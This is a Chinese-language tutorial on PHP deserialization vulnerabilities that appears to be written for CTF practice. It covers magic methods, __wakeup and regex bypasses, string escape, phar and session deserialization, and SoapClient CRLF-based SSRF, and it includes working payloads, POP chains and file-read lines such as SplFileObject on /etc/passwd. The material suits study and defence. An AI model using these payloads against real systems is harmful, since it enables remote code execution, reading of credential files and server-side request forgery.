常见的魔术方法 1 2 3 4 5 6 7 8 9 10 11 __construct (): 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct (): 和构造函数相反,当对象所在函数调用完毕后执行。__call (): 当调用对象中不存在的方法会自动调用该方法。__get (): 获取对象不存在的属性时执行此函数。__set (): 设置对象不存在的属性时执行此函数。__toString (): 当对象被当做一个字符串使用时调用。__sleep (): 序列化对象之前就调用此方法(其返回需要一个数组)__wakeup (): 反序列化恢复对象之前调用该方法__isset (): 在不可访问的属性上调用isset ()或empty ()触发__unset (): 在不可访问的属性上使用unset ()时触发__invoke (): 将对象当作函数来使用时执行此方法
__construct & __destruct __construct
:在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化__destruct
:和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class test { public $username ; public $password ; function __construct ($username ,$password ) { echo "__construct\n" ; $this ->username = $username ; $this ->password = $password ; } function __destruct ( ) { echo "__destruct\n" ; } }$a = new test ('admin' ,'admin888' );unset ($a );echo "abc\n" ;echo "--------------------\n" ;$a = new test ('admin' ,'admin888' );echo "abc\n" ;
运行结果
1 2 3 4 5 6 7 __construct __destruct abc -------------------- __construct abc __destruct
__sleep & __wakeup __sleep
:序列化时自动调用__wakeup
:反序列化时自动调用
如果类中同时定义了 __unserialize()和__wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理,如果类中同时定义了 __serialize()和 __sleep() 两个魔术方法, 则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class test { public $username ; public $password ; function __construct ($username ,$password ) { echo "__construct\n" ; $this ->username = $username ; $this ->password = $password ; } function __sleep ( ) { echo "__sleep\n" ; return [username,password]; } function __wakeup ( ) { echo "__wakeup\n" ; $this ->username = 'user' ; } }$a = new test ('admin' ,'admin888' );$data = serialize ($a );echo $data ."\n" ;echo "-----------------------------\n" ;var_dump (unserialize ($data ));
运行结果
1 2 3 4 5 6 7 8 9 10 11 __construct __sleep O:4 :"test" :2 :{s:8 :"username" ;s:5 :"admin" ;s:8 :"password" ;s:8 :"admin888" ;} ----------------------------- __wakeupclass test #2 (2) { public $username => string (4 ) "user" public $password => string (8 ) "admin888" }
__call & __callstatic __call
:对象执行类不存在的方法时会自动调用__call
方法__callstatic
:直接执行类不存在的方法时会自动调用__callstatic
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class test { public $username ; public $password ; function __call ($method ,$args ) { echo '不存在' .$method .'方法(__call)' .'<br>' ; } function __callstatic ($method ,$args ) { echo '不存在' .$method .'方法(__callstatic)' .'<br>' ; } }$a = new test ();$a ->lewiserii (); test::lewiserii ();
运行结果
1 2 不存在lewiserii方法(__call) 不存在lewiserii方法(__callstatic)
__get & __set __get
:对不可访问属性或不存在属性进行 访问引用时自动调用__set
:对不可访问属性或不存在属性进行 写入时自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class test { public $username ='admin' ; private $password ='admin888' ; function __get ($name ) { echo "__get\n" ; } function __set ($name ,$value ) { echo "__set\n" ; } }$a = new test ();$a ->password;$a ->password='123456' ;
运行结果
__isset & __unset __isset
:在不可访问的属性上使用inset()
时触发__unset
:在不可访问的属性上使用unset()
时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { public $username ='admin' ; private $password ='admin888' ; function __isset ($name ) { echo "__isset\n" ; } function __unset ($name ) { echo "__unset\n" ; } }$a = new test ();isset ($a ->password);unset ($a ->psd);
运行结果
__tostring __toString()
:类的实例和字符串拼接或者作为字符串引用时会自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $username ='admin' ; private $password ='admin888' ; function __tostring ( ) { return "tostring" ; } }$a = new test ();echo $a ;
运行结果
__invoke __invoke()
:将对象当作函数来使用时调用此方法
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $username ='admin' ; private $password ='admin888' ; function __invoke ( ) { echo "__invoke" ; } }$a = new test ();$a ();
运行结果
反序列化绕过的几种方法 绕过__wakeup CVE-2016-7124
利用条件: PHP5 < 5.6.25 PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class test { public $a ='test' ; public function __wakeup ( ) { $this ->a='aaa' ; } public function __destruct ( ) { echo $this ->a; } }?>
当执行unserialize('O:4:"test":1:{s:1:"a";s:4:"test";}');
时会返回aaa
,在修改对象属性个数的值,执行unserialize('O:4:"test":2:{s:1:"a";s:4:"test";}');
会返回test
利用反序列化字符串报错 利用一个包含__destruct
方法的类触发魔术方法可绕过__wakeup
方法
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class D { public function __get ($name ) { echo "D::__get($name )\n" ; } public function __destruct ( ) { echo "D::__destruct\n" ; } public function __wakeup ( ) { echo "D::__wakeup\n" ; } }class C { public function __destruct ( ) { echo "C::__destruct\n" ; $this ->c->b; } }unserialize ('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}' );
原本应该是O:1:"C":1:{s:1:"c";O:1:"D":0:{}}
调用顺序是
1 2 3 4 D::__wakeup C::__destruct D::__get (b) D::__destruct
添加了一个;N;
(反序列化末尾加上;任意字符;
)的错误结构后调用顺序就变成了
1 2 3 4 C::__destruct D::__get (b) D::__wakeup D::__destruct
来自Article_kelp师傅的原理解释,orz:
使用C代替O 1 2 3 4 5 6 7 8 9 10 11 12 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class E { public function __construct ( ) { } public function __destruct ( ) { echo "destruct" ; } public function __wakeup ( ) { echo "wake up" ; } }var_dump (unserialize ('C:1:"E":0:{}' ));
比较鸡肋,只能执行construct()
和destruct()
函数,无法添加任何内容
但是在特定的PHP版本 下,可以使用一些内置类来重新包装实现绕过
1 2 3 4 5 6 7 ArrayObject ::unserialize ArrayIterator ::unserialize RecursiveArrayIterator ::unserialize SplDoublyLinkedList ::unserialize SplQueue ::unserialize SplStack ::unserialize SplObjectStorage ::unserialize
例如ctfshow的2023愚人杯[easy_php]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php class ctfshow { public $ctfshow ; public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "OK" ; system ($this ->ctfshow); } }$a = new ctfshow ();$a ->ctfshow= "cat /f1agaaa" ;
不过有几个类在使用时要注意需要加入push方法
绕过正则 检测’O’
利用条件: preg_match(‘/^O:\d+/i’,$data)
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );class backdoor { public $name ; public function __destruct ( ) { eval ($this ->name); } }$data = $_POST ['data' ];if (preg_match ('/^O:\d+/i' ,$data )){ die ("object not allow unserialize" ); }
利用方式1:当在代码中使用类似preg_match('/^O:\d+/i',$data)
的正则语句来匹配是否是对象字符串开头的时候,可以使用+
绕过
O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}
O:+8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}
要注意在url
里传参时+
要编码为%2B
利用方式2:使用array()
绕过
1 2 3 4 5 6 7 8 9 <?php class backdoor { public $name ="system('tac /f*');" ; }$a = new backdoor ();echo serialize (array ($a ));?>
检测’}’ 有时候会遇到另一种正则,比如/\}$/
,会匹配最后一个}
反序列化字符串末尾的}}}}
是可以全部删掉的,没有影响
比如a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}}
变成a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";
甚至在末尾填充字符a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";aaaaaaaaaa
均能正常解析
检测数字 可以用字符i
、d
绕过
1 2 3 4 5 6 7 8 9 10 11 <?php echo unserialize ('i:-1;' );echo "\n" ;echo unserialize ('i:+1;' );echo "\n" ;echo unserialize ('d:-1.1;' );echo "\n" ;echo unserialize ('d:+1.2;' );
引用绕过 利用方式:当代码中存在类似$this->a===$this->b
的比较时可以用&
,使$a
永远与$b
相等
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class test { public $a ; public $b ; public function __construct ( ) { $this ->a = 'abc' ; $this ->b = &$this ->a; } public function __destruct ( ) { if ($this ->a===$this ->b){ echo 666 ; } } }$a = serialize (new test ());?>
$this->b = &$this->a;
表示$b
变量指向的地址永远指向$a
变量指向的地址
16进制绕过 利用方式:当代码中存在关键词检测时,将表示字符类型的s
改为大写来绕过检测
例子:
1 2 3 4 5 6 7 8 <?php class test { public $username ='admin' ; public $password ='admin888' ; }echo serialize (new test ());?>
如果过滤了关键字admin
,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}
表示字符类型的s为大写时,就会被当成16进制解析
字符逃逸 1 2 3 4 5 6 7 8 9 10 <?php class test { public $a ='aaa' ; public $b ='bbb' ; }$v = new test ();echo serialize ($v );?>
由于php
在进行反序列化时,是从左到右读取,读取多少取决于s
后面的字符长度,且认为读到}
就结束了,}
后面的字符不会有影响
一般触发字符逃逸的条件是替换函数str_replace
,使字符串长度改变,造成字符逃逸,读取到不一样的数据
过滤后字符变多 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class test { public $a ='aaa' ; public $b ='bbb' ; }function filter ($str ) { return str_replace ("aaa" ,"aaaa" ,$str ); }$v = new test ();echo filter (serialize ($v ));?>
可以发现结果中的aaa
被替换成了aaaa
,但是长度值没变,还是3
,这就导致多出了一个a
,而且值是可控的,我们可以将这部分值变为 很多aaa";s:1:"b";s:3:"qaq";}
, 很多aaa
的具体个数取决于后面想要构造的字符串的长度,这里是21
位,就用21
组aaa
,这样替换后会多出21
个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class test { public $a ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}' ; public $b ='bbb' ; }function filter ($str ) { return str_replace ("aaa" ,"aaaa" ,$str ); }$v = new test ();echo filter (serialize ($v ));?>
$b
的值成功被修改成了qaq
过滤后字符变少 原理与过滤后字符变多
大同小异,就是前面少了,导致后面的字符被吃掉,从而执行了我们后面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { public $a ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ; public $b ='";s:1:"b";s:3:"abc";}' ; }function filter ($str ) { return str_replace ("aaa" ,"aa" ,$str ); }$v = new test ();echo filter (serialize ($v ));?>
主要注意闭合就行了,与sql注入类似
类属性不敏感 对于PHP
版本7.1+
,对属性的类型不敏感
1 2 3 4 5 6 7 8 9 10 11 <?php class test { private $hello ="private" ; function __destruct ( ) { var_dump ($this ->hello); } }unserialize ('O:4:"test":1:{s:5:"hello";s:6:"public";}' );
令public
时得到的序列化字符串,在priviate
或者protected
修饰的时候反序列化,hello
属性都能获得值
类名和方法名不区分大小写 1 2 3 4 5 6 7 8 PHP特性: 变量名区分大小写 常量名区分大小写 数组索引 (键名) 区分大小写 函数名, 方法名, 类名不区分大小写 魔术常量不区分大小写 (以双下划线开头和结尾的常量) NULL TRUE FALSE 不区分大小写 强制类型转换不区分大小写 (在变量前面加上 (type))
常见用来绕过正则
如ctfshow的一道题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } }$ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
fast destruct
通常发序列化的入口在__destruct()方法,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。
例如这样一道题目
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Test { public $args ; public function __destruct ( ) { system ($this ->args); } }$a = @unserialize ($_GET ['args' ]);throw new Exception ("NoNoNo" );
反序列化操作执行之后并没有立即执行__destruct()
方法中的内容,而是抛出了异常导致__destruct()
方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()
方法被提前执行。
正常情况下的序列化字符串应该是:
O:4:"Test":1:{s:4:"args";s:6:"whoami";}
payload:
1 2 3 4 5 O:4 :"Test" :1 :{s:4 :"args" ;s:6 :"whoami" ; O:4 :"Test" :1 :{s:4 :"args" ;s:6 :"whoami" ;123 a}
serialize(unserialize($x)) != $x 正常来说一个合法的反序列化字符串,在反序列化之后再次序列化所得到的结果应是一致的
虽然在例子中没有AAA这个类,但是在反序列化 序列化过后得到的值依然为原来的值
var_dump的结果:
1 2 3 4 5 6 7 8 9 10 11 12 object (AAA) ["a" ]=> string (1 ) "1" ["b" ]=> string (1 ) "2" }
1 2 3 4 5 6 7 8 9 10 object (__PHP_Incomplete_Class ) ["__PHP_Incomplete_Class_Name" ]=> string (3 ) "AAA" ["a" ]=> string (1 ) "1" ["b" ]=> string (1 ) "2" }
var_dump后可以发现以下差异
1 2 3 4 5 1:所属类名称 对象所属类的名称由 AAA 变为了 __PHP__Incomplete_Class 2:__PHP_Incomplete_Class_Name 属性 __PHP_Incomplete_Class 对象中多包含了一个 __PHP_Incomplete_Class_Name 属性
所以PHP在遇到不存在的类时,会把不存在的类转换成 __PHP_Incomplete_Class 这种特殊的类,并且将原始的类名存放在 __PHP_Incomplete_Class_Name 这个属性中。而 serialize() 在处理的时候会倒推回来,发现对象是 __PHP_Incomplete_Class 后,会序列化成 __PHP_Incomplete_Class_Name 的值为类名的类,同时将 __PHP_Incomplete_Class_Name 删除(属性个数减一)
所以可以手动构造一个包含__PHP__Incomplete_Class
的序列化字符串,因为是我们手动构造的,所以__PHP_Incomplete_Class_Name
值为空,serialize找不到后会跳过,但是属性个数减一的步骤不会跳过,所以构成了serialize(unserialize($x)) != $x
注意:若 __PHP_Incomplete_Class 对象中的属性个数为零,则 __PHP_Incomplete_Class 的序列化结果中的属性个数描述值也将为零
phar反序列化
众所周知,在利用反序列化漏洞的时候,一般是将序列化后的字符串传入unserialize()
来利用。但是通过phar
可以不依赖unserialize()
直接进行反序列化操作
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。在PHP 5.3或更高版本中默认开启
phar结构由4部分组成
一:stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。类似于Phar的文件头
二:manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里就是漏洞利用的关键点
三:contents
被压缩文件的内容
四:signature
签名,放在文件末尾
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
一个最基本的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Test { }$a = new Test ();$phar = new Phar ("test.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 受影响的函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile
当我们修改文件的内容时,签名就会变得无效,这个时候需要重新计算签名
1 2 3 4 5 6 7 8 from hashlib import sha1with open ('test.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h with open ('newtest.phar' , 'wb' ) as file: file.write(newf)
phar绕过上传限制 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Test { }$a = new Test ();$phar = new Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
绕过头部phar:// 如果题目限制了phar://
不能出现在头几个字符,可以用Bzip/Gzip
协议绕过
例如
1 2 3 if (preg_match ("/^php|^file|^phar|^dict|^zip/i" ,$filename ){ die (); }
1 2 3 4 5 6 7 8 php: compress.bzip2: compress.zlib:
绕过__HALT_COMPILER检测 在前面介绍stub时提到过,PHP通过__HALT_COMPILER
来识别Phar文件,那么为了防止Phar反序列化的出现,可能就会对这个进行过滤
例如
1 2 3 if (preg_match ("/HALT_COMPILER/i" ,$Phar ){ die (); }
绕过方法一:
将Phar文件的内容写到压缩包注释中,压缩为zip文件
1 2 3 4 5 6 7 8 <?php $a = serialize ($a );$zip = new ZipArchive ();$res = $zip ->open ('phar.zip' ,ZipArchive ::CREATE );$zip ->addFromString ('flag.txt' , 'flag is here' );$zip ->setArchiveComment ($a );$zip ->close ();?>
绕过方法二:
将生成的Phar文件进行gzip压缩,压缩后同样也可以进行反序列化
session反序列化 什么是session这里就不描述了,网上有很多文章可以参考
先了解下PHP session
不同引擎的存储机制
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的
session.serialize_handler定义的引擎共有三种:
处理器名称
存储格式
php
键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize
经过serialize()函数序列化处理的数组
当php
和php_serialize
这两个处理区混合起来使用,就会出现session
反序列化漏洞。原因是php_serialize
存储的反序列化字符可以引用|
,如果这时候使用php
处理器的格式取出$_SESSION
的值,|
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞
$_SESSION变量可控 例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];var_dump ($_SESSION );<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class test { public $name ; function __wakeup ( ) { echo $this ->name; } }
先在1.php
传入?session=lewiserii
session
的内容,因为1.php页面用的是php_serialize
引擎,所以是序列化处理的数组的形式
而2.php用的是php
引擎,在可控点传入|
+序列化字符串
,然后再次访问2.php调用session值的时候会触发
传入?session=|O:4:"test":1:{s:4:"name";s:9:"lewiserii";}
后,文件中的值就变成了下图中的值
再次访问2.php,发现成功反序列化,修改了$name
总结:由于1.php是使用php_serialize引擎处理,因此只会把’|’当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|’时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|’后的值进行反序列化处理。
$_SESSION变量不可控 当$_SESSION
不能直接控制时,可以借助PHP_SESSION_UPLOAD_PROGRESS
来完成反序列化
关于PHP_SESSION_UPLOAD_PROGRESS
的介绍可以参考我的另一篇文章session.upload_progress文件包含
这里用ctfshow的一道新春题的前半部分作例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("class.php" );error_reporting (0 );highlight_file (__FILE__ );ini_set ("session.serialize_handler" , "php" );session_start ();if (isset ($_GET ['phpinfo' ])) { phpinfo (); }if (isset ($_GET ['source' ])) { highlight_file ("class.php" ); }$happy =new Happy ();$happy ();?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php class Happy { public $happy ; function __construct ( ) { $this ->happy="Happy_New_Year!!!" ; } function __destruct ( ) { $this ->happy->happy; } public function __call ($funName , $arguments ) { die ($this ->happy->$funName ); } public function __set ($key ,$value ) { $this ->happy->$key = $value ; } public function __invoke ( ) { echo $this ->happy; } } class _New_ { public $daniu ; public $robot ; public $notrobot ; private $_New_ ; function __construct ( ) { $this ->daniu="I'm daniu." ; $this ->robot="I'm robot." ; $this ->notrobot="I'm not a robot." ; } public function __call ($funName , $arguments ) { echo $this ->daniu.$funName ."not exists!!!" ; } public function __invoke ( ) { echo $this ->daniu; $this ->daniu=$this ->robot; echo $this ->daniu; } public function __toString ( ) { $robot =$this ->robot; $this ->daniu->$robot =$this ->notrobot; return (string )$this ->daniu; } public function __get ($key ) { echo $this ->daniu.$key ."not exists!!!" ; } } class Year { public $zodiac ; public function __invoke ( ) { echo "happy " .$this ->zodiac." year!" ; } function __construct ( ) { $this ->zodiac="Hu" ; } public function __toString ( ) { $this ->show (); } public function __set ($key ,$value )#3 { $this ->$key = $value ; } public function show ( ) { die (file_get_contents ($this ->zodiac)); } public function __wakeup ( ) { $this ->zodiac = 'hu' ; } }?>
先构造pop链O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";}s:5:"robot";N;s:8:"notrobot";N;}}
看下phpinfo中关于session的信息,可以知道当前index.php用的是php
引擎,其他页面默认用php_serialize
引擎,且session.upload_progress.cleanup=Off
,意味着php不会立即清空对应的session文件,就不用进行条件竞争
构造POST
表单,提交传入序列化字符串
1 2 3 4 5 <form action ="http://dece2f58-5f4b-4bd0-904a-ac58efcf9623.challenges.ctfer.com:8080/" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="lewiserii" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
因为要放到filename
中的双引号中,所以这里要转义一下双引号,在拼接上|
,注意一定要带上PHPSESSID
伪造PHP_SESSION_UPLOAD_PROGRESS的值时,值中一旦出现|,将会导致数据写入session文件失败,所以用filename
php原生类反序列化 如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化
原生文件操作类 可遍历目录类:
1 2 3 DirectoryIterator 类FilesystemIterator 类GlobIterator 类
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
GlobIterator 类与前两个类的作用与使用方法相似,但与上面略不同的是其行为类似于glob(),可以通过模式匹配来寻找文件路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $dir =new DirectoryIterator ("/" );echo $dir ;$dir =new FilesystemIterator ("/" );echo $dir ;$dir =new DirectoryIterator ("glob:///*flag*" );echo $dir ;$dir =new FilesystemIterator ("glob:///*flag*" );echo $dir ;$dir =new GlobIterator ("/*flag*" );echo $dir ;
可读取文件类
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
1 2 3 4 5 6 7 8 9 10 11 12 $context = new SplFileObject ('/etc/passwd' );echo $context ;$context = new SplFileObject ('/etc/passwd' );foreach ($context as $f ){ echo ($f ); }$context = new SplFileObject ('php://filter/convert.base64-encode/resource=/etc/passwd' );echo $context ;
SoapClient反序列化与ssrf 首先需要了解什么是soap soap,是webService三要素(SOAP、WSDL、UDDI)之一
1 2 3 4 5 SOAP: 基于HTTP协议,采用XML格式,用来描述传递信息的格式。 WSDL: 用来描述如何访问具体的服务。(相当于说明书) UDDI: 用户自己可以按UDDI标准搭建UDDI服务器,用来管理,分发,查询WebService 。其他用户可以自己注册发布WebService调用。(现在基本废弃)
简单来说就是soap是一种基于http的传输协议,可以发起请求来访问远程服务
php官方手册 中对soapclient的解释如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 class SoapClient {private ?string $uri = null ;private ?int $style = null ;private ?int $use = null ;private ?string $location = null ;private bool $trace = false ;private ?int $compression = null ;private ?resource $sdl = null ;private ?resource $typemap = null ;private ?resource $httpsocket = null ;private ?resource $httpurl = null ;private ?string $_login = null ;private ?string $_password = null ;private bool $_use_digest = false ;private ?string $_digest = null ;private ?string $_proxy_host = null ;private ?int $_proxy_port = null ;private ?string $_proxy_login = null ;private ?string $_proxy_password = null ;private bool $_exceptions = true ;private ?string $_encoding = null ;private ?array $_classmap = null ;private ?int $_features = null ;private int $_connection_timeout ;private ?resource $_stream_context = null ;private ?string $_user_agent = null ;private bool $_keep_alive = true ;private ?int $_ssl_method = null ;private int $_soap_version ;private ?int $_use_proxy = null ;private array $_cookies = [];private ?array $__default_headers = null ;private ?SoapFault $__soap_fault = null ;private ?string $__last_request = null ;private ?string $__last_response = null ;private ?string $__last_request_headers = null ;private ?string $__last_response_headers = null ;public __construct (?string $wsdl , array $options = [])public __call (string $name , array $args ): mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ): ?string public __getCookies (): array public __getFunctions (): ?array public __getLastRequest (): ?string public __getLastRequestHeaders (): ?string public __getLastResponse (): ?string public __getLastResponseHeaders (): ?string public __getTypes (): ?array public __setCookie (string $name , ?string $value = null ): void public __setLocation (?string $location = null ): ?string public __setSoapHeaders (SoapHeader|array |null $headers = null ): bool public __soapCall ( string $name , array $args , ?array $options = null , SoapHeader|array |null $inputHeaders = null , array &$outputHeaders = null ): mixed }
先从手册中看soap的构造方法,可以看到有两个参数,第一个参数$wsdl
用来指明是否为wsdl模式,第二个参数$options
是一个数组。 当在第一个参数中指明了wsdl模式后,第二个参数是可选的,可以没有;当第一个参数设置为非wsdl模式后,第二个参数中必须设置uri和location选项。location就是目标url,uri是soap服务的命令空间
再看__call()方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向location中的目标URL发送一个soap请求
1 2 3 <?php $a = new SoapClient (null ,array ('uri' =>'aaa' ,'location' =>'http://20.2.129.79:7777' ));$a ->a ();
在vps上监听对应的端口
可以接收到一个post请求,并且SOAPAction
的值明显是可控的,那么利用crlf我们就能控制数据包了
比如插入一个cookie
1 2 3 4 5 6 7 8 <?php $a = new SoapClient (null ,array ('uri' =>'aaa^^Cookie: test=123^^' ,'location' =>'http://20.2.129.79:7777' ));$b = serialize ($a );$b = str_replace ('^^' ,"\r\n" ,$b );$c = unserialize ($b );$c ->a ();?>
但是对于POST数据包,还存在一个问题,即Content-Type的值,默认是text/xml,我们修改的SOAPAction在Content-Type的下面,无法控制Content-Type,也就不能控制POST的数据
在header里User-Agent在Content-Type前面,手册中也提到了如何设置User-Agent,我们可以在User-Agent中注入crlf,从而控制Content-Type的值
1 2 3 4 5 6 7 8 9 10 <?php $post_data = "data=abc" ;$a = new SoapClient (null ,array ('user_agent' =>'Mozilla/5.0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .strlen ($post_data ).'^^^^' .$post_data ,'uri' =>'aaa' ,'location' =>'http://20.2.129.79:7777' ));$b = serialize ($a );$b = str_replace ('^^' ,"\r\n" ,$b );$c = unserialize ($b );$c ->a ();?>
还需要在结尾设置一个Content-Length,一方面对于post包是必须的,另一方面还能让多余的数据丢弃,不影响我们设定的值
这样就能实现soapclient+crlf组合拳攻击ssrf了
参考文章:由浅入深理解PHP反序列化漏洞 [CTF]PHP反序列化总结 PHP-反序列化(超细的)